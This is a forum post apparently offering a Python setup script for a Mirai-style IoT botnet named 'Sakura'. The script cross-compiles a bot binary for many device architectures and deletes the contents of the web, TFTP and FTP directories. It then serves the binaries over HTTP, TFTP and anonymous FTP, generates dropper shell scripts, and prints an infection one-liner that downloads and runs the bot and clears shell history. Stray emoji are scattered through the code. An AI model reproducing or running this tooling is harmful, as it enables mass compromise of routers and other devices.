
设置和部署by: |
|
import subprocess, sys
#Made By tg@alphachnhk if len(sys.argv[2]) != 0: ip = sys.argv[2] else:🧑🍳🧣🧯🤬👃 print("\x1b[1;95mIncorrect Usage!\x1b[0m") exit(1) bot = sys.argv[1] Sakura= raw_input("\x1b[1;95mReady To Install Cross Compilers? (Press Enter): \x1b[0m") 👏🏝🍇☯🦋 if Sakura.lower() == "":get_arch = True else: get_arch = False #Made By tg@alphachnhk👮♂️👚🎺🙄 compileas = ["m-i.p-s.Sakura" , "m-p.s-l.Sakura" , "s-h.4-.Sakura", "x-8.6-.Sakura", "a-r.m-6.Sakura",👵👠💳😆👁 "x-3.2-.Sakura", "a-r.m-7.Sakura", "p-p.c-.Sakura", "i-5.8-6.Sakura", "m-6.8-k.Sakura",👩✈️👒📮🤔👃 "p-p.c-.Sakura", "a-r.m-4.Sakura" , "a-r.m-5.Sakura"] getarch = ['https://mirailovers.io/HELL-ARCHIVE/COMPILERS/cross-compiler-mips.tar.bz2', 👨⚕️💍🩺😭👂 'https://mirailovers.io/HELL-ARCHIVE/COMPILERS/cross-compiler-mipsel.tar.bz2', 'https://mirailovers.io/HELL-ARCHIVE/COMPILERS/cross-compiler-sh4.tar.bz2', 'https://mirailovers.io/HELL-ARCHIVE/COMPILERS/cross-compiler-x86_64.tar.bz2', 'http://distro.ibiblio.org/slitaz/sources/packages/c/cross-compiler-armv6l.tar.bz2', 'https://mirailovers.io/HELL-ARCHIVE/COMPILERS/cross-compiler-i686.tar.bz2', 🖕🍍♑🦚'https://mirailovers.io/HELL-ARCHIVE/COMPILERS/cross-compiler-powerpc.tar.bz2', 'https://mirailovers.io/HELL-ARCHIVE/COMPILERS/cross-compiler-i586.tar.bz2', 'https://mirailovers.io/HELL-ARCHIVE/COMPILERS/cross-compiler-m68k.tar.bz2', 'https://mirailovers.io/HELL-ARCHIVE/COMPILERS/cross-compiler-armv7l.tar.bz2', 'https://mirailovers.io/HELL-ARCHIVE/COMPILERS/cross-compiler-armv4l.tar.bz2', 👄🚂🈸🐝'https://mirailovers.io/HELL-ARCHIVE/COMPILERS/cross-compiler-armv5l.tar.bz2'] ccs = ["cross-compiler-mips", "cross-compiler-mipsel", "cross-compiler-sh4",👨🎨🛍🔌🙃🤳 "cross-compiler-x86_64", "cross-compiler-armv6l", "cross-compiler-i686", "cross-compiler-powerpc", "cross-compiler-i586", 👈🗼🍖⁉🦌 "cross-compiler-m68k", "cross-compiler-armv7l", "cross-compiler-armv4l", "cross-compiler-armv4l", "cross-compiler-armv5l"]👨🦱🎩📥🤩🤞 #Made By tg@alphachnhk def run(cmd): subprocess.call(cmd, shell=True) run("rm -rf /var/www/html/* /var/lib/tftpboot/* /var/ftp/*")👳🧥🔑👻👍 if get_arch == True: run("rm -rf cross-compiler-*") for arch in getarch:🦺💳😶🤙 run("wget " + arch + " --no-check-certificate >> /dev/null") run("tar -xvf *tar.bz2") run("rm -rf *tar.bz2") #Made By tg@alphachnhk num = 0👳💎🪝🤡🖕 for cc in ccs: arch = cc.split("-")[2] run("./"+cc+"/bin/"+arch+"-gcc -static -pthread -D" + arch.upper() + " -o " + compileas[num] + " " + bot + " > /dev/null") num += 1 👈⛪🍓🈷🪰 run("yum install httpd -y")run("service httpd start") run("yum install xinetd tftp tftp-server -y") run("yum install vsftpd -y") run("service vsftpd start") 💅🗽🍚🐅#Made By Zinqo. run('''echo -e "# default: off #Made By tg@alphachnhk service tftp { 👏🎠🦞®🦋 socket_type = dgram protocol = udp wait = yes user = root server = /usr/sbin/in.tftpd 👨⚕️👒🧬😂👁 server_args = -s -c /var/lib/tftpboot disable = no per_source = 11 cps = 100 2 flags = IPv4 👍🎠🫖🆘🐅} " > /etc/xinetd.d/tftp''') run("service xinetd start") #Made By Zinqo. run('''echo -e "listen=YES 👍🍇📶🪰local_enable=NO anonymous_enable=YES write_enable=NO anon_root=/var/ftp anon_max_rate=2048000 🤙🚈🫑♾🦋 xferlog_enable=YESlisten_address='''+ ip +''' listen_port=21" > /etc/vsftpd/vsftpd-anon.conf''') run("service vsftpd restart") for i in compileas: 🤟🚠🍒™🐝 run("cp " + i + " /var/www/html") run("cp " + i + " /var/ftp") run("mv " + i + " /var/lib/tftpboot") run('echo -e "#!/bin/bash" > /var/lib/tftpboot/tftp1.sh')👩✈️🧢🧻😰🤙 run('echo -e "ulimit -n 1024" >> /var/lib/tftpboot/tftp1.sh') run('echo -e "cp /bin/busybox /tmp/" >> /var/lib/tftpboot/tftp1.sh') #Made By Zinqo.🧒🛍🔑🦴 run('echo -e "#!/bin/bash" > /var/lib/tftpboot/tftp2.sh') run('echo -e "ulimit -n 1024" >> /var/lib/tftpboot/tftp2.sh') run('echo -e "cp /bin/busybox /tmp/" >> /var/lib/tftpboot/tftp2.sh') 🤝🗺🍚⁉🐂 run('echo -e "#!/bin/bash" > /var/www/html/Sakura.sh') for i in compileas: run('echo -e "cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://' + ip + '/' + i + '; chmod +x ' + i + '; ./' + i + '; rm -rf ' + i + '" >> /var/www/html/Sakura.sh') 🤝🚤🍟🈳🐯 run('echo -e "cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; ftpget -v -u anonymous -p anonymous -P 21 ' + ip + ' ' + i + ' ' + i + '; chmod 777 ' + i + ' ./' + i + '; rm -rf ' + i + '" >> /var/ftp/ftp1.sh')run('echo -e "cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; tftp ' + ip + ' -c get ' + i + ';cat ' + i + ' >badbox;chmod +x *;./badbox" >> /var/lib/tftpboot/tftp1.sh') run('echo -e "cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; tftp -r ' + i + ' -g ' + ip + ';cat ' + i + ' >badbox;chmod +x *;./badbox" >> /var/lib/tftpboot/tftp2.sh') run("service xinetd restart") run("service httpd restart") 👃🌕🥣🈷🐒 run('echo -e "ulimit -n 99999" >> ~/.bashrc')#Made By tg@alphachnhk print("\x1b[1;95mPayload: cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://" + ip + "/Sakura.sh; chmod 777 *; sh Sakura.sh; tftp -g " + ip + " -r tftp1.sh; chmod 777 *; sh tftp1.sh; rm -rf *.sh; history -c\x1b[0m")
帖子热度 1751 ℃
|
|
|